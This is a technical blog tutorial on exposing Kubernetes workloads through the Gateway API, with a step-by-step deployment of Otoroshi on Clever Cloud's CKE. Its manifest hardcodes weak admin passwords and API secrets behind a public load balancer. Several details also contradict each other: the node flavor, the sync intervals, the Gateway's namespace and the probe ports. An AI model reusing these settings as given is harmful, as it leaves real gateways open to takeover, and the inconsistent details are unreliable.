I want to take you through that journey in this article. We'll go from the fundamental problem of exposing Kubernetes workloads to the outside world, through the history of Ingress controllers, all the way to the new Kubernetes Gateway API standard — and we'll deploy the whole stack, step by step, on CKE (Clever Kubernetes Engine), Clever Cloud's managed Kubernetes offering.

Grab a coffee. This is a long one.

The Problem: Your App is Trapped Inside the Cluster

When you deploy an application to Kubernetes, you're placing it inside a highly capable but fundamentally isolated environment. Kubernetes pods live in their own private network space. Services like ClusterIP make those pods reachable within the cluster, but by design, they're not accessible from the outside world.

That's actually a feature, not a bug. Kubernetes gives you a private, controllable network fabric. But the moment your application needs to serve real users — or talk to external systems — you need to punch a controlled hole through that isolation.

Over the years, the Kubernetes community has developed several approaches to this problem, each with its own trade-offs.

The Early Days: NodePort and LoadBalancer

The simplest option is a NodePort service. It binds a port on every node of your cluster and forwards traffic to your pods. It works, but it's clunky: you're dealing with high port numbers (30000+), you're exposing every node's IP directly, and you have zero traffic management capabilities. NodePort is great for quick local testing, but it's not something you'd run in production.

The next step up is a LoadBalancer service. Cloud providers — including Clever Cloud — can provision an external load balancer and wire it up to your pods automatically. This is a real improvement: you get a stable external IP and clean port numbers. But if you have dozens of services to expose, you end up with dozens of load balancers, each costing money, each needing DNS configuration. It doesn't scale well.

What you really need is a single entry point — a reverse proxy — that can intelligently route traffic to the right service based on the hostname, path, headers, or other request attributes. And that's exactly what the Ingress resource was created for.

A Brief History of Ingress

Kubernetes introduced the Ingress resource around 2015 as a standardized way to define HTTP routing rules. The idea was elegant: you write a YAML manifest that says "requests to api.example.com/v1 should go to service my-api on port 8080", and a controller picks that up and configures the actual reverse proxy.

A typical Ingress resource looks like this:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: my-app
  namespace: default
spec:
  rules:
  - host: api.example.com
    http:
      paths:
      - path: /v1
        pathType: Prefix
        backend:
          service:
            name: my-api
            port:
              number: 8080

The Ingress Controller Ecosystem

The Ingress spec itself doesn't do anything on its own — you also need an Ingress controller, a piece of software that watches for Ingress resources and translates them into actual proxy configurations. Nginx was the most popular choice. Others followed: Traefik, HAProxy Ingress, Contour, and more.

The problem is that the Ingress spec was intentionally kept minimal. Basic host and path-based routing was all you got from the standard. Everything else — TLS termination modes, rate limiting, authentication, retries, canary deployments — had to be configured through annotations. And since annotations are just arbitrary strings attached to resources, every controller had its own vocabulary. A rate limit annotation for Nginx looks completely different from one for Traefik. Moving from one controller to another meant rewriting all your Ingress resources.

# nginx-specific annotation
nginx.ingress.kubernetes.io/limit-rps: "10"

# Same thing in Traefik's world
traefik.ingress.kubernetes.io/rate-limit: |
  extractorfunc: client.ip
  rateset:
    default:
      period: 1s
      average: 10

This annotation sprawl was a recognized pain point in the community. The Ingress API was showing its age.

The Deprecation Story

The situation became clearer in 2023 when the Kubernetes maintainers announced the deprecation of the original kubernetes/ingress-nginx controller — not the Nginx Ingress Controller project itself, but the Kubernetes community-maintained one. The project had accumulated significant technical debt and the community decided it was time to move on.

More broadly, the Ingress API itself was being kept in maintenance mode. No new features were being added. The community had already been working on something better.

The Future is Here: Kubernetes Gateway API

The Kubernetes Gateway API is the modern, standardized successor to Ingress. It reached General Availability (GA) in late 2023 and has been steadily gaining adoption since.

The Gateway API was designed with several key goals in mind: to be expressive enough to cover advanced routing scenarios without annotations, to have clear separation of concerns between different user roles, and to be extensible in a controlled way.

A Different Model

Where Ingress has a single resource type, the Gateway API introduces a hierarchy of resources:

GatewayClass — Defines which controller implementation handles a particular class of gateways. Think of it like a StorageClass for storage, but for traffic. It's typically created by the infrastructure team or the platform operator.

apiVersion: gateway.networking.k8s.io/v1
kind: GatewayClass
metadata:
  name: my-gateway-class
spec:
  controllerName: vendor.io/my-controller

Gateway — A specific instance of a gateway, using a given class. It defines what protocols and ports to listen on, and what hostnames to handle. This is the resource created by the team that owns the cluster or the network infrastructure.

apiVersion: gateway.networking.k8s.io/v1
kind: Gateway
metadata:
  name: my-gateway
  namespace: infra
spec:
  gatewayClassName: my-gateway-class
  listeners:
  - name: http
    protocol: HTTP
    port: 80
    hostname: "*.example.com"
    allowedRoutes:
      namespaces:
        from: All

HTTPRoute — The actual routing rules, defined by application teams in their own namespaces. This is the part that app developers care about: "my app lives at api.example.com/v2".

apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: api-route
  namespace: my-app
spec:
  parentRefs:
  - name: my-gateway
    namespace: infra
    sectionName: http
  hostnames:
  - "api.example.com"
  rules:
  - matches:
    - path:
        type: PathPrefix
        value: /v2
    backendRefs:
    - name: my-api-service
      port: 8080

This role-based model is a significant improvement. Cluster operators control the Gateway (which hostnames are allowed, which namespaces can attach routes), while application developers control their own HTTPRoute resources without needing cluster-level privileges. Cross-namespace references are supported with explicit grants via ReferenceGrant resources.

The Gateway API also brings first-class support for traffic splitting (weighted backends for canary deployments), header manipulation, redirects, URL rewrites, and a proper extension mechanism through custom filter types — all without resorting to controller-specific annotations.

Meet Otoroshi

Before we dive into the hands-on setup, let me introduce the main character of this story: Otoroshi.

Otoroshi is an open-source reverse proxy and API gateway that I originally created in 2017, while working as a contractor at MAIF, a large French insurance company. MAIF had just migrated to the Clever Cloud platform and needed a unified solution for securing and managing API traffic across their diverse application landscape — without imposing specific libraries or frameworks on their development teams. The project has since grown well beyond its original scope, and I still lead it today as core maintainer and project lead, under the Cloud APIM umbrella.

The philosophy behind Otoroshi is summarized in five principles: technology agnostic, HTTP-first, API-first (the web UI is just another API client), security-focused, and event-driven. It's designed to be the single entry point for all HTTP traffic to your applications, regardless of where those applications are hosted or what language they're written in.

What Can Otoroshi Do?

The feature list is substantial. On the traffic management side: load balancing with multiple strategies (round robin, sticky sessions, least connections, best response time), distributed rate limiting, traffic mirroring, canary deployments, and relay routing across network zones.

On the security side: a built-in Web Application Firewall powered by Coraza with OWASP Core Rule Sets, IP blocklists with CIDR support, geolocation-based access control, API key management with quotas, JWT validation (including JWE), OAuth 2.0/2.1 with PKCE, OIDC, LDAP, SAML V2, and even WebAuthn/FIDO2 support.

For observability: native Prometheus metrics, OpenTelemetry (OTLP) traces, Datadog, StatsD, Kafka event streaming, and more.

And it supports HTTP/1.1, HTTP/2, HTTP/3, WebSocket, TCP, and gRPC — including a next-generation Netty-based server backend for the most demanding workloads.

Otoroshi in Kubernetes

Otoroshi has had native Kubernetes integration since version 1.5.0. In Kubernetes mode, Otoroshi runs as an Ingress controller and can operate through multiple mechanisms:

• Standard Ingress controller: Watches Ingress resources and creates corresponding routes

• Custom Resource Definitions (CRDs): A rich set of 23+ custom resources that let you configure every aspect of Otoroshi natively through Kubernetes manifests — routes, backends, certificates, API keys, JWT verifiers, auth modules, and more

• Secret synchronization: Kubernetes TLS secrets are automatically synced as Otoroshi certificates

The Otoroshi controller runs as a background job inside the Otoroshi process itself, polling/watching the Kubernetes API and reconciling the desired state with the current routing configuration. No separate controller deployment needed.

One important note from the docs: running Otoroshi behind an existing ingress controller is explicitly not recommended. It degrades TCP proxying capabilities, TLS, mTLS, and adds unnecessary latency. Otoroshi should be your outermost entry point.

Otoroshi Meets the Gateway API

Here's where things get exciting. Starting with version 17.13.0, Otoroshi implements the Kubernetes Gateway API specification. It was something I'd been wanting to tackle for a while, and the Gateway API spec having reached GA felt like the right moment for me to finally do it properly.

The feature is labeled experimental in the current docs, but it's fully functional for core use cases: Gateway, HTTPRoute, and GRPCRoute support. The implementation follows an interesting architecture choice: rather than dynamically provisioning new listeners on demand (which would require significant cluster privileges and complexity), Otoroshi validates that Gateway listeners match its already-running HTTP/HTTPS ports, then uses the routes to build its routing table.

The reconciliation flow works like this:

1. Otoroshi fetches all Gateway API resources from the Kubernetes API server

2. It validates GatewayClass resources that reference its controller name

3. It resolves TLS certificates from referenced Kubernetes Secrets

4. It validates Gateway listeners against its configured ports

5. It converts HTTPRoute and GRPCRoute objects into native NgRoute entities

6. It saves the routes and cleans up any orphaned entries from previous reconciliation cycles

All generated routes are tagged with otoroshi-provider: kubernetes-gateway-api, making them easy to identify and query.

The Gateway API controller is activated by running the KubernetesGatewayApiControllerJob as a background job in Otoroshi's configuration. Let's see exactly how to set all of this up.

Building It: End-to-End Setup on Clever Cloud

Let me walk you through exactly what I did that afternoon. We're going to:

1. Provision a Kubernetes cluster on CKE

2. Add worker nodes

3. Deploy Otoroshi with Gateway API support enabled

4. Install the Gateway API CRDs

5. Deploy a demo application

6. Route traffic to it through the Gateway API

7. Test that everything works

Before diving into the steps, here's a bird's eye view of what we're building. Two planes coexist: the control plane (dashed arrows), where Otoroshi watches Kubernetes API resources and reconciles them into live routes, and the data plane (solid arrows), where actual HTTP traffic flows from the outside world to the application pods.

Prerequisites

You'll need:

• A Clever Cloud account

• The clever CLI installed and authenticated (npm install -g clever-tools or download from the releases page)

• kubectl installed

Important — CKE is currently in private access. Clever Kubernetes Engine is not yet generally available to all Clever Cloud users. To get access, you need to reach out to the Clever Cloud support and ask them to enable CKE on your organization. The team is responsive and the process is straightforward — just mention what you want to build and they'll get you set up. Once it's enabled on your org, the rest of this guide applies as-is.

Step 1: Enable Kubernetes on Your Clever Cloud Organization

Once CKE is unlocked for your organization, you need to enable the Kubernetes feature via the CLI:

clever features enable k8s

You can list existing clusters with:

clever k8s list --org xxx

Step 2: Create Your Cluster

Creating a new cluster is a single command. The --watch flag keeps the CLI running and shows you progress as the control plane comes up — which is a nice touch when you're sitting there wondering if something went wrong.

clever k8s create gateway-api-demo --org xxx --watch

After a few minutes, you'll have a running cluster.

You can try the list again. The output shows you the cluster status and eventually confirms that the control plane is ready.

clever k8s list --org xxx

You can also notice that a new item has been added to your Clever Cloud Console

Step 3: Grab Your kubeconfig

Once the cluster is ready, download the kubeconfig file:

clever k8s get-kubeconfig gateway-api-demo --org xxx > kubeconfig.yaml

Then point kubectl at it:

export KUBECONFIG="$(pwd)/kubeconfig.yaml"

Or if you prefer, drop that export into a config.sh file and source it:

source config.sh

Let's verify we can talk to the cluster:

kubectl get nodes

At this point, you'll likely see only the control plane node or nothing at all — we haven't added any worker nodes yet.

Step 4: Add Worker Nodes

By default, a CKE cluster starts with a control plane but no worker nodes. We need to create a NodeGroup — Clever Cloud's abstraction for a group of compute nodes with a given flavor (CPU/memory profile) and count.

Here's the manifest I used (manifests/nodegroup.yaml):

apiVersion: api.clever-cloud.com/v1
kind: NodeGroup
metadata:
  name: gateway-api-demo-nodegroup
spec:
  flavor: L
  nodeCount: 2

The M flavor gives you a solid amount of CPU and RAM for running Otoroshi comfortably. I went with 2 nodes because I wanted room to experiment without hitting resource constraints.

Apply it:

kubectl create -f ./manifests/nodegroup.yaml

Now watch the nodes come up:

kubectl get nodes
kubectl get nodegroups

You'll see the nodes join the cluster one by one. Give it a few minutes. Once you see all 2 nodes in Ready state, you're set to proceed.

Pro tip: If you later decide you need more capacity, you can scale the node group without recreating it:

kubectl scale nodegroup gateway-api-demo-nodegroup --replicas=4

Step 5: Install Otoroshi's RBAC Rules and CRDs for Gateway API

Otoroshi needs specific RBAC permissions to watch and update Gateway API resources — particularly gatewayclasses, gateways, httproutes, grpcroutes, referencegrants, backendtlspolicies, and the corresponding /status subresources.

The Otoroshi project provides a ready-made RBAC manifest specifically for the Gateway API integration:

kubectl apply -f 'https://raw.githubusercontent.com/MAIF/otoroshi/refs/heads/master/kubernetes/gateway-api/rbac-gateway.yaml'

And the Otoroshi Custom Resource Definitions:

kubectl apply -f 'https://raw.githubusercontent.com/MAIF/otoroshi/refs/heads/master/kubernetes/gateway-api/crds-gateway.yaml'

These CRDs let you configure Otoroshi-native resources (routes, backends, API keys, etc.) through Kubernetes manifests. Even though we're focusing on the Gateway API today, having these installed gives you the full Otoroshi Kubernetes integration.

Step 6: Deploy Otoroshi

This is the meaty part. Let me walk you through the deployment manifest in detail, because there are several important settings here.

Full manifest (manifests/otoroshi.yaml):

kind: Namespace
apiVersion: v1
metadata:
  name: otoroshi
---
kind: ServiceAccount
apiVersion: v1
metadata:
  namespace: otoroshi
  name: otoroshi-admin-user
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: otoroshi-admin-user
  namespace: otoroshi
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: otoroshi-admin-user
subjects:
- kind: ServiceAccount
  name: otoroshi-admin-user
  namespace: otoroshi
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: otoroshi
  namespace: otoroshi
spec:
  replicas: 1
  selector:
    matchLabels:
      app: otoroshi
  template:
    metadata:
      labels:
        app: otoroshi
    spec:
      serviceAccountName: otoroshi-admin-user
      terminationGracePeriodSeconds: 60
      containers:
      - name: otoroshi
        image: maif/otoroshi:latest
        imagePullPolicy: Always
        ports:
        - containerPort: 10049
          name: http
        - containerPort: 10048
          name: https
        env:
        - name: APP_STORAGE_ROOT
          value: otoroshi
        - name: APP_STORAGE
          value: inmemory
        - name: ADMIN_API_EXPOSED_SUBDOMAIN
          value: otoroshi-api-5jsfzwhhx6unbywz
        - name: ADMIN_API_TARGET_SUBDOMAIN
          value: otoroshi-target-5jsfzwhhx6unbywz
        - name: APP_BACKOFFICE_SUBDOMAIN
          value: otoroshi-backoffice-5jsfzwhhx6unbywz
        - name: APP_PRIVATEAPPS_SUBDOMAIN
          value: otoroshi-privateapps-5jsfzwhhx6unbywz
        - name: APP_DOMAIN
          value: cleverk8s.io
        - name: OTOROSHI_INITIAL_ADMIN_PASSWORD
          value: password
        - name: ADMIN_API_CLIENT_ID
          value: admin-api-apikey-id
        - name: ADMIN_API_CLIENT_SECRET
          value: admin-api-apikey-secret
        - name: ADMIN_API_ADDITIONAL_EXPOSED_DOMAIN
          value: otoroshi-api.otoroshi.svc.cluster.local
        - name: OTOROSHI_SECRET
          value: veryveryveryveryverysecret
        - name: OTOROSHI_EXPOSED_PORTS_HTTP
          value: "80"
        - name: OTOROSHI_EXPOSED_PORTS_HTTPS
          value: "443"
        - name: HEALTH_LIMIT
          value: "5000"
        - name: SSL_OUTSIDE_CLIENT_AUTH
          value: Want
        - name: HTTPS_WANT_CLIENT_AUTH
          value: "true"
        - name: OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_ENABLED
          value: "true"
        - name: OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_ACCESSLOG
          value: "true"
        - name: OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_EXPOSED_HTTP_PORT
          value: "80"
        - name: OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_EXPOSED_HTTPS_PORT
          value: "443"
        - name: OTOROSHI_INITIAL_CUSTOMIZATION
          value: >
            {
              "config": {
                "scripts": {
                  "enabled": true,
                  "jobRefs": [
                    "cp:otoroshi.plugins.jobs.kubernetes.KubernetesGatewayApiControllerJob"
                  ],
                  "jobConfig": {
                    "KubernetesConfig": {
                      "trust": false,
                      "namespaces": ["*"],
                      "labels": {},
                      "namespacesLabels": {},
                      "defaultGroup": "default",
                      "ingresses": false,
                      "crds": true,
                      "kubeLeader": false,
                      "restartDependantDeployments": false,
                      "watch": false,
                      "syncIntervalSeconds": 60,
                      "otoroshiServiceName": "otoroshi-service",
                      "otoroshiNamespace": "otoroshi",
                      "clusterDomain": "cluster.local",
                      "gatewayApi": true,
                      "gatewayApiWatch": true,
                      "gatewayApiControllerName": "otoroshi.io/gateway-controller",
                      "gatewayApiHttpListenerPort": [8080, 80],
                      "gatewayApiHttpsListenerPort": [8443, 443],
                      "gatewayApiSyncIntervalSeconds": 30,
                      "gatewayApiAddresses": []
                    }
                  }
                }
              }
            }
        - name: JAVA_OPTS
          value: '-Xms1g -Xmx2g -XX:+UseContainerSupport -XX:MaxRAMPercentage=80.0'
        readinessProbe:
          httpGet:
            path: /ready
            port: 8080
          initialDelaySeconds: 30
          periodSeconds: 10
          failureThreshold: 5
        livenessProbe:
          httpGet:
            path: /live
            port: 8080
          initialDelaySeconds: 30
          periodSeconds: 10
          failureThreshold: 5
---
apiVersion: v1
kind: Service
metadata:
  name: otoroshi-service
  namespace: otoroshi
spec:
  selector:
    app: otoroshi
  ports:
  - port: 8080
    name: "http"
    targetPort: "http"
  - port: 8443
    name: "https"
    targetPort: "https"
---
apiVersion: v1
kind: Service
metadata:
  name: otoroshi-lb-external
  namespace: otoroshi
spec:
  type: LoadBalancer
  selector:
    app: otoroshi
  ports:
  - port: 80
    name: "http"
    targetPort: "http"
  - port: 443
    name: "https"
    targetPort: "https"

Let me highlight the key configuration decisions here.

Storage: We're using APP_STORAGE=inmemory here to keep things simple and avoid setting up an external data store for this demo. It's the quickest way to get Otoroshi running — no dependencies, no configuration overhead. But let me be clear about the trade-off: with in-memory storage, the entire Otoroshi configuration is gone the moment the pod restarts and you can only count on Otoroshi CRDs for your configs. For production, you absolutely want a persistent backend.

The natural choice is Redis (APP_STORAGE=redis), which is what most Otoroshi production deployments use. If you're already on Clever Cloud, the good news is that Redis add-ons are available directly on the platform — just provision one, wire up the connection string, and you're set. And beyond persistence, production deployments will also want to run multiple Otoroshi instances for high availability. Otoroshi supports a cluster mode where instances share state through Redis, which fits naturally with Clever Cloud's managed Redis offering. If you want to go further, the Clever Cloud Kubernetes Operator lets you provision and manage Clever Cloud add-ons (including Redis) directly from Kubernetes manifests — a clean fit if you want to keep everything in GitOps.

The Netty server: Those OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_* variables enable Otoroshi's next-generation HTTP server based on Netty. This server handles HTTP/1.1, HTTP/2, and HTTP/3 properly, and it's required for gRPC support. We enable it and bind it to ports 80 and 443.

The Gateway API configuration — this is the critical part — lives in OTOROSHI_INITIAL_CUSTOMIZATION. Let's break it down:

{
  "config": {
    "scripts": {
      "enabled": true,
      "jobRefs": [
        "cp:otoroshi.plugins.jobs.kubernetes.KubernetesGatewayApiControllerJob"
      ],
      "jobConfig": {
        "KubernetesConfig": {
          "gatewayApi": true,
          "gatewayApiWatch": true,
          "gatewayApiControllerName": "otoroshi.io/gateway-controller",
          "gatewayApiHttpListenerPort": [8080, 80],
          "gatewayApiHttpsListenerPort": [8443, 443],
          "gatewayApiSyncIntervalSeconds": 10
        }
      }
    }
  }
}

• "jobRefs" activates the KubernetesGatewayApiControllerJob background job — this is the component that watches Gateway API resources and reconciles them

• "gatewayApi": true enables the Gateway API controller

• "gatewayApiWatch": true enables near-real-time watching of Kubernetes resources (instead of polling only on a fixed interval)

• "gatewayApiControllerName": "otoroshi.io/gateway-controller" is the controller identifier — this must exactly match the controllerName in your GatewayClass resource

• "gatewayApiHttpListenerPort": [8080, 80] — this tells Otoroshi which port values are valid for HTTP listeners in Gateway resources. Gateways that reference port 8080 or port 80 will be accepted

• "gatewayApiSyncIntervalSeconds": 10 — with watch mode enabled, this is how quickly forced reconciliation cycles run

The two Services: We create two services for Otoroshi:

1. otoroshi-service (ClusterIP on 8080/8443) — internal access for other pods in the cluster

2. otoroshi-lb-external (LoadBalancer on 80/443) — this is what gets exposed to the outside world. Clever Cloud will provision an external load balancer and assign it a public IP

Apply the deployment:

kubectl apply -f manifests/otoroshi.yaml

Step 7: Watch the Logs

There's a certain ritual to deploying something new: you wait, and you watch logs. Let's follow Otoroshi's startup:

kubectl -n otoroshi logs -f deploy/otoroshi --tail=200

You'll see Otoroshi boot up, initialize its storage, start the Kubernetes synchronization jobs, and eventually log something like:

[INFO] [KubernetesGatewayApiControllerJob] Gateway API controller started, watching for GatewayClass resources with controllerName: otoroshi.io/gateway-controller

That's the signal you're waiting for. The Gateway API controller is running and ready to pick up resources.

While you wait for Otoroshi to become healthy, you can also check the load balancer service to find the external IP that was assigned:

kubectl -n otoroshi get service otoroshi-lb-external

The EXTERNAL-IP column will initially show <pending>. Once Clever Cloud has provisioned the load balancer, it'll fill in with a real IP address. Note this IP — you'll need it for DNS configuration and testing.

kubectl -n otoroshi get service otoroshi-lb-external
NAME                   TYPE           CLUSTER-IP      EXTERNAL-IP        PORT(S)
otoroshi-lb-external   LoadBalancer   10.x.x.x        <LOAD_BALANCER_IP>  80:..., 443:...

Step 8: Install the Gateway API CRDs

The Kubernetes Gateway API is not built into Kubernetes by default — it ships as separate CRDs. We need to install them before we can create GatewayClass, Gateway, or HTTPRoute resources.

The SIG Network team maintains official release artifacts. We're using v1.4.0:

kubectl apply -f 'https://github.com/kubernetes-sigs/gateway-api/releases/download/v1.4.0/standard-install.yaml'

This installs the stable channel CRDs: GatewayClass, Gateway, HTTPRoute, GRPCRoute, ReferenceGrant, and a few others.

Verify they're in place:

kubectl get crds | grep gateway.networking.k8s.io

You should see entries for gatewayclasses.gateway.networking.k8s.io, gateways.gateway.networking.k8s.io, httproutes.gateway.networking.k8s.io, and so on.

Step 9: Deploy the Gateway Configuration

Now the fun begins. We need to create two resources: a GatewayClass that tells Kubernetes "Otoroshi handles this", and a Gateway that defines our listening configuration.

Here's the manifest (manifests/gateway.yaml):

apiVersion: gateway.networking.k8s.io/v1
kind: GatewayClass
metadata:
  name: otoroshi
spec:
  controllerName: otoroshi.io/gateway-controller
---
apiVersion: gateway.networking.k8s.io/v1
kind: Gateway
metadata:
  name: demo-otoroshi-gateway
  namespace: otoroshi
spec:
  gatewayClassName: otoroshi
  listeners:
  - name: http
    protocol: HTTP
    port: 80
    hostname: "*.demo-cke.io"
    allowedRoutes:
      namespaces:
        from: All

Let's unpack this:

GatewayClass: The controllerName here — otoroshi.io/gateway-controller — must exactly match the gatewayApiControllerName we configured in Otoroshi's environment variables. This is how Otoroshi claims ownership of this GatewayClass.

Gateway:

• gatewayClassName: otoroshi links this Gateway to our GatewayClass

• The listener is on port 80 (HTTP), matching one of our gatewayApiHttpListenerPort values

• hostname: "*.demo-cke.io" is a wildcard — any subdomain of demo-cke.io can be routed through this gateway

• allowedRoutes.namespaces.from: All means HTTPRoute resources from any namespace can attach to this gateway. For production, you'd likely want Same or Selector with specific labels

Apply it:

kubectl apply -f manifests/gateway.yaml

A few seconds after applying (the Gateway API watch mode kicks in very quickly with gatewayApiSyncIntervalSeconds: 2), you can verify the GatewayClass was accepted:

kubectl get gatewayclass otoroshi -o yaml

Look for the status section:

status:
  conditions:
  - lastTransitionTime: "..."
    message: GatewayClass accepted
    reason: Accepted
    status: "True"
    type: Accepted

Accepted: True means Otoroshi recognized the GatewayClass and is managing it. If you see False here, double-check that the controllerName matches exactly — it's case-sensitive.

Step 10: Deploy a Demo Application and HTTPRoute

Now let's deploy something to actually route traffic to. I'm using traefik/whoami — a tiny Go web server that echoes back information about the HTTP request it received. Perfect for debugging and demos.

Here's the full manifest (manifests/routes.yaml):

apiVersion: v1
kind: Namespace
metadata:
  name: demo
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: whoami
  namespace: demo
  labels:
    app: whoami
spec:
  replicas: 1
  selector:
    matchLabels:
      app: whoami
  template:
    metadata:
      labels:
        app: whoami
    spec:
      containers:
        - name: whoami
          image: traefik/whoami:latest
          ports:
            - name: http
              containerPort: 80
          readinessProbe:
            httpGet:
              path: /
              port: http
            initialDelaySeconds: 1
            periodSeconds: 5
          livenessProbe:
            httpGet:
              path: /
              port: http
            initialDelaySeconds: 5
            periodSeconds: 10
---
apiVersion: v1
kind: Service
metadata:
  name: whoami
  namespace: demo
  labels:
    app: whoami
spec:
  type: ClusterIP
  selector:
    app: whoami
  ports:
    - name: http
      port: 80
      targetPort: http
---
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: my-route
  namespace: demo
spec:
  parentRefs:
  - name: demo-otoroshi-gateway
    namespace: otoroshi
    sectionName: http
  hostnames:
  - "whoami.demo-cke.io"
  rules:
  - matches:
    - path:
        type: PathPrefix
        value: /v1
    backendRefs:
    - name: whoami
      port: 80
      weight: 1

The HTTPRoute is particularly interesting. Let me walk through it:

• parentRefs — this references our demo-otoroshi-gateway Gateway (note: since the Gateway is in the demo namespace and the HTTPRoute is also in demo, no cross-namespace reference grant is needed). sectionName: http ties this route specifically to the http listener of that gateway.

• hostnames — this route only applies to requests with the Host: whoami.demo-cke.io header

• rules — one rule: match requests where the path starts with /v1, forward to the whoami service on port 80

Apply it:

kubectl apply -f manifests/routes.yaml

After a moment, check the HTTPRoute status:

kubectl get httproute my-route -n demo -o yaml

The status should show:

status:
  parents:
  - conditions:
    - lastTransitionTime: "..."
      message: Route accepted
      reason: Accepted
      status: "True"
      type: Accepted
    - lastTransitionTime: "..."
      message: All references resolved
      reason: ResolvedRefs
      status: "True"
      type: ResolvedRefs
    parentRef:
      name: demo-otoroshi-gateway
      sectionName: http

Both Accepted: True and ResolvedRefs: True — all the backend references are valid and the route has been accepted by the gateway.

Step 11: DNS Configuration

We need whoami.demo-cke.io to resolve to our load balancer's external IP. In a real setup, you'd add a DNS A record (or a wildcard *.demo-cke.io record) pointing to that IP.

Get your load balancer IP:

kubectl -n otoroshi get service otoroshi-lb-external
NAME                   TYPE           CLUSTER-IP      EXTERNAL-IP        PORT(S)
otoroshi-lb-external   LoadBalancer   10.x.x.x        <LOAD_BALANCER_IP>  80:..., 443:...

For this demo, rather than setting up actual DNS, we can use curl's --resolve flag to manually map the hostname to the IP — simulating what DNS would do.

Step 12: The Moment of Truth

curl -v --resolve whoami.demo-cke.io:80:<LOAD_BALANCER_IP> http://whoami.demo-cke.io/v1

If everything is wired up correctly, you'll see something like:

*   Trying <LOAD_BALANCER_IP>:80...
* Connected to whoami.demo-cke.io (<LOAD_BALANCER_IP>) port 80
> GET /v1 HTTP/1.1
> Host: whoami.demo-cke.io
> User-Agent: curl/8.x.x
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: text/plain; charset=utf-8
<
Hostname: whoami-xxxxxxxxx-xxxxx
IP: 127.0.0.1
IP: ::1
IP: 10.x.x.x
RemoteAddr: 10.x.x.x:xxxx
GET /v1 HTTP/1.1
Host: whoami.demo-cke.io
User-Agent: curl/8.x.x
Accept: */*
X-Forwarded-For: x.x.x.x
X-Forwarded-Host: whoami.demo-cke.io
X-Forwarded-Proto: http
X-Real-Ip: x.x.x.x

A clean HTTP 200. Traffic flowed from curl → Clever Cloud Load Balancer → Otoroshi (routing based on the HTTPRoute we defined) → the whoami pod in the demo namespace.

Notice the X-Forwarded-For, X-Forwarded-Host, and X-Real-Ip headers that Otoroshi injected. It's transparent to the backend service but fully managed at the gateway layer.

Troubleshooting Tips

If something doesn't work, here's my debugging checklist:

Check Otoroshi's logs:

kubectl -n otoroshi logs -f deploy/otoroshi --tail=200

Look for lines mentioning KubernetesGatewayApiControllerJob, GatewayClass, or HTTPRoute. Any errors in reconciliation will show up here.

Check resource statuses:

kubectl get gatewayclass otoroshi -o yaml
kubectl get gateway demo-otoroshi-gateway -n demo -o yaml
kubectl get httproute my-route -n demo -o yaml

The status.conditions fields tell you exactly what's wrong. Common issues:

• GatewayClass: Accepted: False → controllerName mismatch

• Gateway Listener: Programmed: False → The port in the Gateway spec doesn't match gatewayApiHttpListenerPort in Otoroshi's config

• HTTPRoute: Accepted: False → parentRef is wrong or the namespace isn't allowed by the Gateway's allowedRoutes

Verify the generated routes in Otoroshi:

curl -s http://<otoroshi-service-ip>:8080/api/routes \
  -u admin-api-apikey-id:admin-api-apikey-secret | \
  jq '.[] | select(.metadata["otoroshi-provider"] == "kubernetes-gateway-api") | {id, name}'

If the route was generated, it'll show up here. If the list is empty, the reconciliation hasn't happened or encountered an error.

Check that the backend pod is running:

kubectl get pods -n demo
kubectl get service whoami -n demo

If the pod isn't ready or the service selector doesn't match the pods, you'll get 503s.

Going Further: What Else Can You Do?

What I've shown here is the basics — routing HTTP traffic from a hostname/path to a backend service. But the Gateway API support in Otoroshi goes quite a bit further.

Traffic Splitting for Canary Deployments

The weight field in backendRefs lets you split traffic between multiple versions of a service:

rules:
- backendRefs:
  - name: my-service-v1
    port: 80
    weight: 90
  - name: my-service-v2
    port: 80
    weight: 10

This sends 90% of traffic to v1 and 10% to v2 — a classic canary deployment pattern, all configured declaratively.

Header Manipulation

Built-in filters let you add, modify, or remove request and response headers:

rules:
- filters:
  - type: RequestHeaderModifier
    requestHeaderModifier:
      add:
      - name: X-Request-Source
        value: gateway
      remove:
      - X-Internal-Secret
  backendRefs:
  - name: my-service
    port: 80

Redirects and URL Rewrites

rules:
- matches:
  - path:
      type: PathPrefix
      value: /old-api
  filters:
  - type: RequestRedirect
    requestRedirect:
      scheme: https
      statusCode: 301

Extending with Otoroshi Plugins

This is where things get really powerful. You can attach Otoroshi's plugin system to routes via annotations:

apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: my-secure-route
  namespace: demo
  annotations:
    proxy.otoroshi.io/route-plugins: |
      [
        {
          "plugin": "cp:otoroshi.next.plugins.ApikeyCalls",
          "enabled": true,
          "config": {}
        }
      ]
spec:
  # ... rest of the HTTPRoute

This annotation adds API key authentication enforcement to the route — using Otoroshi's full plugin ecosystem, accessed through a standard Kubernetes annotation. You can add rate limiting, JWT validation, WAF rules, and any of Otoroshi's 200+ plugins this way.

Cross-Namespace Routing

If your HTTPRoute is in a different namespace than the backend Service, you need a ReferenceGrant in the target namespace:

apiVersion: gateway.networking.k8s.io/v1beta1
kind: ReferenceGrant
metadata:
  name: allow-from-frontend
  namespace: backend
spec:
  from:
  - group: gateway.networking.k8s.io
    kind: HTTPRoute
    namespace: frontend
  to:
  - group: ""
    kind: Service

HTTPS/TLS Termination

To terminate TLS at Otoroshi, reference a Kubernetes TLS secret in your Gateway listener:

listeners:
- name: https
  protocol: HTTPS
  port: 443
  hostname: "*.example.com"
  tls:
    mode: Terminate
    certificateRefs:
    - name: my-tls-secret
  allowedRoutes:
    namespaces:
      from: All

Otoroshi will import the certificate from the Secret and handle TLS termination for all routes attached to this listener.

Wrapping Up

This is a setup that genuinely works, and works well.

